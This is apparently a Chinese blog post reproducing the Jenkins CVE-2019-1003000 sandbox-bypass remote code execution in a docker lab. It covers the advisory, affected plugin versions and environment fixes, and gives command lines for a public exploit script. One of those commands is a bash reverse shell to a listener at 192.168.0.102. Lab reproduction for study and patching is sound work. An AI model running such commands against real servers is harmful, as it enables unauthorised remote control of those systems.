CVE-2019-1003000-jenkins-RCE復現

  • 2019 年 10 月 7 日
  • 筆記

0X1 漏洞預警

2019年1月8日,Jenkins官方發布了一則Script Security and Pipeline 插件遠程程式碼執行漏洞的安全公告,漏洞CVE編號為:CVE-2019-1003000,官方定級為高危。2019年2月15日,網上公布了該漏洞的利用方式,該漏洞允許具有「Overall/Read」許可權的用戶或能夠控制SCM中的Jenkinsfile或者sandboxed Pipeline共享庫內容的用戶繞過沙盒保護並在Jenkins主伺服器上執行任意程式碼。

Jenkins是一個開源軟體項目,是基於Java開發的一種持續集成工具,用於監控持續重複的工作,旨在提供一個開放易用的軟體平台,使軟體的持續集成變成可能。Jenkins的目的是持續、自動地構建/測試軟體項目以及監控軟體開放流程,快速問題定位及處理,提示開放效率。

Script Security and Pipeline 插件是Jenkins的一個安全插件,可以集成到Jenkins各種功能插件中。它主要支援兩個相關係統:腳本批准和Groovy沙盒。

該漏洞存在於Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。該漏洞通過將AST轉換注釋(如@Grab)應用於源程式碼元素,可以在腳本編譯階段避免腳本安全沙箱保護。所以會造成具有「Overall/Read」許可權的用戶或能夠控制SCM中的Jenkinsfile或者sandboxed Pipeline共享庫內容的用戶可以繞過沙盒保護並在Jenkins主伺服器上執行任意程式碼。

0X2 漏洞復現

可以在官網下載漏洞版本,我們在此選擇其他安全研究人員已經測試好的demo進行測試,下載地址:

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

分別在Kali下和Ubuntu16.04下搭建,發現Ubuntu下的環境在運行的時候失敗了,原因是docker版本過舊,安裝的是docker.io,所以請務必安裝最新的docker-ce。本次環境在kali下進行,並且kali已經安裝了最新版的docker,安裝方法請自行度娘。

程式碼下載鏈接:

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

下載之後,安裝依賴環境:

進入sample-vuln文件件,拉取環境:

拉取完成之後,開始運行環境,但是一直沒有啟動來,一運行啟動命令,ps查看都沒有容器實例:

再次編輯運行腳本,去掉–rm子命令,不用自動移除相同名稱的容器。再次運行之後,docker ps -a查看能夠發現環境實例存在,但是docker ps沒有,上一條的命令顯示環境一啟動就退出了,通過日誌命令docker logs container_id 排查:

發現是許可權問題,本地的jenkinsdata文件夾是root許可權,而jenkins的許可權很小,uid等資訊都是1000,所以修改jenkinsdata的許可權並刪除之前的容器再次運行腳本,即可啟動環境:

這樣環境已經啟動ok了!

由於環境是作者已經搭建好的,因此我們進入到容器中,並沒有發現初始化密碼的文件secrets/initialAdminPassword的存在:

所以只能使用user1/user1進行登錄,並發現已有的job任務my-pipeline已經被創建好

下面利用已有的資訊進行漏洞利用:

python exploit.py –url http://localhost:8080 –job my-pipeline –username user1 –password user1 –cmd "whoami"

反彈shell成功:

python exploit.py –url http://localhost:8080 –job my-pipeline –username user1 –password user1 –cmd "bash -i >& /dev/tcp/192.168.0.102/12345 0>&1"

至此,漏洞利用成功!

實驗的難點在於jenkins 2.152-alpine的安裝搭建,並且漏洞的幾個插件都已經被官方修復,在系統配置中安裝的時候,security-script很容易被升級到最新版,利用就會失敗!

做實驗不容易,且行且珍惜!

參考鏈接:

https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC

https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/

https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html